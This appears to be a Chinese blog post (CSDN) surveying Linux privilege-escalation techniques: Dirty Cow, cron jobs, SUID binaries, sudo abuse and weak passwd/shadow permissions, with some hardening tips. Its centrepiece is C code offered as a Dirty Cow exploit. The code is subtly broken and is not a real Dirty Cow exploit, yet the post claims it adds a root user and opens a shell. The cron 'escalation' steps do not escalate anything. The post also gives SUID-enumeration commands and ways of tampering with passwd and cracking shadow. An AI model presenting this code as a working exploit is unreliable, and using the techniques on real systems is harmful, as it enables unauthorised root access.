linux常见的提权方法

1.内核漏洞提权

内核漏洞提权是一种常见的方式,攻击者通过利用操作系统内核中的漏洞来提升权限。以下是一个内核漏洞提权的示例:

脏牛漏洞(Dirty Cow)是一个广为人知的内核漏洞,影响范围广泛。该漏洞可以让低权限用户在本地系统上提升为root用户。攻击者可以通过以下步骤利用脏牛漏洞:

(1)编译并运行脏牛漏洞的利用程序。可以使用以下C代码编写一个利用程序,将其保存为dirtycow.c文件:

#include <stdio.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>

#define FILE_PATH "/etc/passwd"
#define TEMP_FILE_PATH "/tmp/passwd"

void *madviseThread(void *arg) {
    char *file_path = (char *)arg;
    int fd = open(file_path, O_RDONLY);
    if (fd == -1) {
        printf("Failed to open %s\n", file_path);
        return NULL;
    }
    size_t file_size = lseek(fd, 0, SEEK_END);
    char *file_content = mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, fd, 0);
    if (file_content == MAP_FAILED) {
        printf("Failed to mmap %s\n", file_path);
        close(fd);
        return NULL;
    }
    close(fd);
    madvise(file_content, file_size, MADV_DONTNEED);
    return NULL;
}

int main() {
    pthread_t pth;
    struct stat st;
    stat(FILE_PATH, &st);
    chmod(FILE_PATH, S_IWUSR | S_IRUSR | S_IRGRP | S_IROTH);
    pthread_create(&pth, NULL, madviseThread, (void *)FILE_PATH);
    int fd = open(TEMP_FILE_PATH, O_WRONLY);
    if (fd == -1) {
        printf("Failed to open %s\n", TEMP_FILE_PATH);
        return 1;
    }
    char *new_line = "NewLine:12345:0:99999:7:::\n";
    write(fd, new_line, strlen(new_line));
    close(fd);
    pthread_join(pth, NULL);
    if (access(TEMP_FILE_PATH, F_OK) == 0) {
        printf("Success! You can now login with the NewLine user.\n");
        printf("Use the following password: 12345\n");
        system("/bin/bash");
        return 0;
    }
    printf("Exploit failed.\n");
    return 1;
}

(2)编译并运行利用程序:

gcc -pthread dirtycow.c -o dirtycow
./dirtycow

这将会利用脏牛漏洞修改/etc/passwd文件,添加一个新的用户并将其权限提升为root。在修改成功后,程序会输出成功的提示信息,并提供新用户的用户名和密码。

请注意,这个示例仅用于了解和学习目的。任何未经授权的访问或攻击行为都是违法的。

2、定时任务提权

在Linux系统中,要实现定时任务提权,您可以按照以下步骤进行操作:

crontab详细操作:crontab命令详细操作-CSDN博客

(1)创建一个特权脚本:
首先,您需要创建一个包含需要以特权执行的命令或脚本的文件。假设您的特权脚本是privileged_script.sh,请确保在脚本中包含需要以特权执行的命令。

示例 privileged_script.sh:

#!/bin/bash

# 在这里写下需要特权执行的命令或脚本
# 例如:
/bin/systemctl restart service_name

在特权脚本中,您可以根据您的需求编写任何需要以特权执行的命令或脚本。

(2)授予脚本执行权限:
使用以下命令为特权脚本授予执行权限: 

chmod +x privileged_script.sh

这将确保特权脚本可以在定时任务中正确执行。

(3)设置定时任务:
在Linux系统中,您可以使用crontab命令来设置定时任务。使用以下命令编辑当前用户的定时任务列表: 

crontab -e

这将打开一个文本编辑器,允许您编辑当前用户的定时任务列表。在文本编辑器中,您可以添加新的定时任务规则。

示例:每天凌晨1点执行特权脚本的定时任务规则。

0 1 * * * /path/to/privileged_script.sh

在上面的示例中,0 1 * * *表示任务将在每天的凌晨1点执行。/path/to/privileged_script.sh是您的特权脚本的路径。您可以根据需要自定义定时任务规则。

请注意,定时任务规则的语法是基于Cron表达式,您可以根据需要进行自定义。

(4)保存和退出:

在编辑完定时任务列表后,请保存更改并退出文本编辑器。对于大多数文本编辑器,您可以按下Ctrl + X,然后按下Y来保存更改。

完成上述步骤后,您的特权脚本将在定时任务规则指定的时间执行,并以特权身份执行脚本中的命令。

请注意,为了成功执行定时任务提权操作,您需要具有对定时任务文件和特权脚本的适当访问权限。此外,确保特权脚本和定时任务规则的路径和权限符合系统要求,并遵循安全最佳实践。

3、SUID提权

SUID提权是一个复杂的过程,需要深入理解Linux权限系统和相关的命令。下面我将提供一个关于如何设置和利用SUID提权的详细操作过程。但请注意,这些操作仅用于学习和理解SUID提权的概念,不应在实际环境中进行恶意操作。

(1)设置SUID权限

首先,我们需要了解如何为一个文件设置SUID权限。这通常通过chmod命令完成。

    打开终端。

    使用chmod命令为文件设置SUID权限。例如,假设我们有一个名为myprogram的可执行文件,并且我们想要为它设置SUID权限,我们可以执行以下命令:

chmod u+s myprogram

执行此命令后,myprogram文件的权限将更改为包含SUID权限。你可以使用ls -l命令查看文件权限的更改。

(2)利用SUID提权

一旦文件被设置了SUID权限,任何执行该文件的用户都会临时拥有文件所有者的权限。这可以用于提权操作。

    假设myprogram文件的所有者是root用户,并且我们已经为它设置了SUID权限。现在,当我们以普通用户身份执行myprogram时,我们将临时获得root用户的权限。
    在执行myprogram时,你可以利用这个临时的root权限来执行一些通常需要更高权限的操作。例如,你可以读取或修改只有root用户才能访问的文件。

(3)查找具有SUID权限的文件

为了查找系统中具有SUID权限的文件,你可以使用find命令。

    打开终端。

    执行以下命令来查找具有SUID权限的文件:

find / -perm -u=s -type f 2>/dev/null


find / -perm -4000 -type f 2>/dev/null find / -perm -u=s


find / -perm -4000 -type f -exec ls -l {} \;、

    find /:从根目录开始搜索整个文件系统。
    -perm -4000:搜索那些设置了SUID权限的文件。-4000 表示查找那些设置了用户ID位的文件,而前面的 - 表示只要权限位中用户ID位被设置即可,而不关心其他权限位。
    -type f:限制搜索结果只包括普通文件,不包括目录或其他特殊类型的文件。
    -exec ls -l {} \;:对找到的每个文件执行 ls -l 命令,以长格式列出文件的详细信息。{} 是一个占位符,代表 find 命令找到的当前文件的路径。\; 表示 -exec 动作的结束。

所以,这个命令会列出所有具有SUID权限的普通文件的详细信息,包括它们的权限、所有者、所属组、大小、最后修改时间等。

使用 find 命令的 -exec 选项可以非常灵活地处理找到的文件。除了 ls -l,你还可以执行其他任何你需要的命令,只要这些命令能够处理通过 {} 传递的文件路径即可。

这个命令会在整个文件系统中查找所有具有SUID权限的文件,并将结果输出到终端。你可以查看这些文件,了解哪些程序或命令可能被用于提权操作。

4、SUDO滥用提权

Linux之sudo滥用提权_sudo cat /etc/shadow-CSDN博客

5、passwd/shadow密码提权

在Linux系统中,/etc/passwd/etc/shadow是两个重要的文件,它们与用户认证和权限管理密切相关。不当的权限配置或滥用这些文件可能导致提权问题。以下是一些与passwdshadow相关的提权情景和策略:

  1. 明文密码与passwd文件

    • /etc/passwd文件默认对所有用户可读,但只有root用户可以写。在某些情况下,用户的明文密码可能会以某种形式出现在这个文件中,尤其是当密码字段没有被正确地替换为“x”并且加密后的密码没有存储在/etc/shadow中时。如果root密码被暴露在passwd文件中,攻击者可以轻易地获取并进行提权。
    • 如果/etc/passwd文件当前用户可以写,攻击者可能会直接修改root用户的密码为一个已知的明文密码,从而实现提权。
  2. shadow文件的权限与破解

    • /etc/shadow文件默认只有root用户可以读写。它存储了用户密码的哈希值。如果shadow文件的权限配置不当,使得非root用户可以读取,那么攻击者可以使用如hashcatjohn等工具进行暴力破解,尝试获取root或其他用户的密码哈希对应的明文密码。
    • 如果攻击者成功复制了shadow文件,他们可以在自己的系统上使用上述工具进行离线破解,这通常比在线破解更加高效。
  3. 手动生成密码与passwd文件

    • 攻击者可能会使用工具如openssl passwd手动生成一个用户及其对应的加密密码,然后将这个用户信息追加到/etc/passwd文件中。如果同时修改了/etc/shadow文件或配置不当,攻击者可能能够使用这个新生成的用户账号进行提权。

为了防范这些提权风险,建议采取以下策略:

  • 确保/etc/passwd/etc/shadow文件的权限配置正确。/passwd应对所有用户可读,但仅对root可写;/shadow应仅对root可读写。
  • 定期检查并监控这些文件的权限和内容变化,以便及时发现任何可疑活动。
  • 使用强密码策略,并定期更换密码,以减少暴力破解的成功率。
  • 限制对sudo和其他特权命令的访问,并确保只有经过授权的用户才能使用它们。
  • 使用安全审计工具和系统日志来监控和记录对关键文件的访问和修改,以便在发生提权事件时能够及时发现并响应。

Linux提权方法总结-CSDN博客

  • 30
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值